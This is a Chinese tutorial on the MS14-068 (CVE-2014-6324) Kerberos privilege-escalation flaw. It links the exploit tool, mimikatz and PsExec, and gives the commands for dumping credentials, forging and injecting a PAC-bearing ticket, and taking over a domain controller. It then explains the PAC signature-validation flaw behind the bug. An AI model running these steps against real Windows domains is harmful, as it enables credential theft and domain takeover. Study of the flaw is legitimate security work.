天天看點

MS14-068(CVE-2014-6324)域控提權利用及原了解析

漏洞利用

0x01 漏洞利用前提

1.域控沒有打MS14-068的更新檔(KB3011780)

2.拿下一台加入域的計算機

3.有這台域内計算機的域使用者密碼和Sid

0x02 工具下載下傳

Ms14-068.exe 下載下傳位址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

PSexec 下載下傳位址:https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe

mimikatz 下載下傳位址:https://github.com/gentilkiwi/mimikatz/releases

0x03 漏洞利用

如果目前使用者為域使用者

可以直接用 whoami /user 擷取sid

MS14-068(CVE-2014-6324)域控提權利用及原了解析

  如果不是隻是本地使用者可以用mimikatz 抓取本地的域使用者密碼

記住mimikatz要有管理者權限不然無法抓取記憶體密碼,可以以管理者權限運作。

MS14-068(CVE-2014-6324)域控提權利用及原了解析

 輸入privilege::debug 權限提升,在輸入log 會在目前檔案夾下生成後面指令執行的結果友善我們查找資料,最後輸入sekurlsa::logonPasswords 抓取密碼

MS14-068(CVE-2014-6324)域控提權利用及原了解析

 會在目前目錄生成mimikatz 日志檔案

MS14-068(CVE-2014-6324)域控提權利用及原了解析

 成功擷取到明文密碼,也擷取了域使用者sid 和域控主機名

MS14-068(CVE-2014-6324)域控提權利用及原了解析

利用ms14-068.exe 工具生成僞造的kerberos協定認證證書

 MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr>

 ms-14-068.exe -u   域使用者@域控名  -p 域使用者密碼 -s 域使用者sid -d 域ip

MS14-068(CVE-2014-6324)域控提權利用及原了解析

 利用mimikatz.exe将證書寫入,進而提升為域管理者

kerberos::ptc 你的證書名字

MS14-068(CVE-2014-6324)域控提權利用及原了解析

 寫入成功後,使用PsExec.exe以管理者權限運作連接配接域控

MS14-068(CVE-2014-6324)域控提權利用及原了解析

 原了解析

0x04 Kerberos流程

MS14-068(CVE-2014-6324)域控提權利用及原了解析

域内主機請求處理流程

 0x05 PAC原理

MS14-068(CVE-2014-6324)域控提權利用及原了解析

 Server收到Client發來的TGS後,要根據TGS中Client申明所在的域組,和Server上的ACL進行對,然後決定給予Client什麼樣的資源通路權限。微軟使用PAC來表示TGS中Client申明的域組。PAC(Privilege Attribute Certificate),特權屬性證書。

PAC包含Client的User的SID、Group的SID。PAC決定了Client的組屬性,即決定了Client的權限PAC為了保證自身的合法性,還包含2個簽名,Key為krbtgt的NTLM,簽名的内容除了User SID、Group SID外,還有其他部分PAC作為TGT的一部分,是加密的,密鑰為krbtgt的NTLM作Client向KDC的AS子產品發起認證請求,AS傳回TGT時,會根據Client所在的組,生成PAC,包含Client的User SID、Group SID,以及用于確定PAC不被篡改的2個簽名

MS14-068(CVE-2014-6324)域控提權利用及原了解析

 将PAC作為TGT的一部分,發送給Client,Client使用TGT向KDC的TGS子產品發起通路Server服務時,KDC的TGS子產品首先解密TGT,并通過校驗2個簽名,以驗證PAC的合法性。如果通過驗證,KDC的TGS子產品用2個新的簽名替代老的簽名來保證PAC不被篡改。第一個簽名的密鑰為Server的NTLM,第二個密鑰為Server與Client的臨時會話密鑰

 重新簽名後的PAC被放置在簽發的通路票據TGS中,使用Server的NTLM作為密鑰被加密保護Server收到來自Client的TGS後,解密TGS驗證合法性,校驗PAC中的2個簽名,确認PAC的合法性,然後确認Client的通路權限

 0x06 漏洞成因

Client在發起認證請求時,通過設定include-PAC為False,則傳回TGT中不會包含PAC

MS14-068(CVE-2014-6324)域控提權利用及原了解析

KDC對PAC進行驗證時,對于PAC尾部的簽名算法,雖然原理上規定必須是帶有Key的簽名算法才可以,但微軟在實作上,卻允許任意簽名算法,隻要用戶端指定任意簽名算法,KDC伺服器就會使用指定的算法進行簽名驗證。是以僞造的任意内容都可以是合法的,直接加上内容的MD5值作為簽名即可(第一個原因)

 PAC沒有被放在TGT中,放在其它地方。KDC在仍然能夠正确解析出沒有放在TGT中的PAC資訊PAC必須是密文,經過Key加密的KDC會從Authenticator中取出來subkey,把PAC資訊解密并利用用戶端設定的簽名算法驗證簽名(第二個原因)

KDC驗證缺少PAC的TGT成功後,再驗證不在TGT中 的PAC的合法性。如果2個均驗證成功,KDC把PAC中的User SID、Group SID取出來,重新使用進行簽名,簽名算法和密鑰與設定inclue-pac标志位為TRUE時一模一樣。将将新産生的PAC加入到解密後的TGT中,再重新加密制作全新的TGT發送給Client,不是TGS(第三個原因)

0x07 參考

原理了解部分來自------安全牛

http://www.freebuf.com/vuls/56081.html

https://www.secpulse.com/archives/32859.html

從此山高路遠,縱馬揚鞭。願往後旅途,三冬暖,春不寒,天黑有燈,下雨有傘。此生盡興,不負勇往。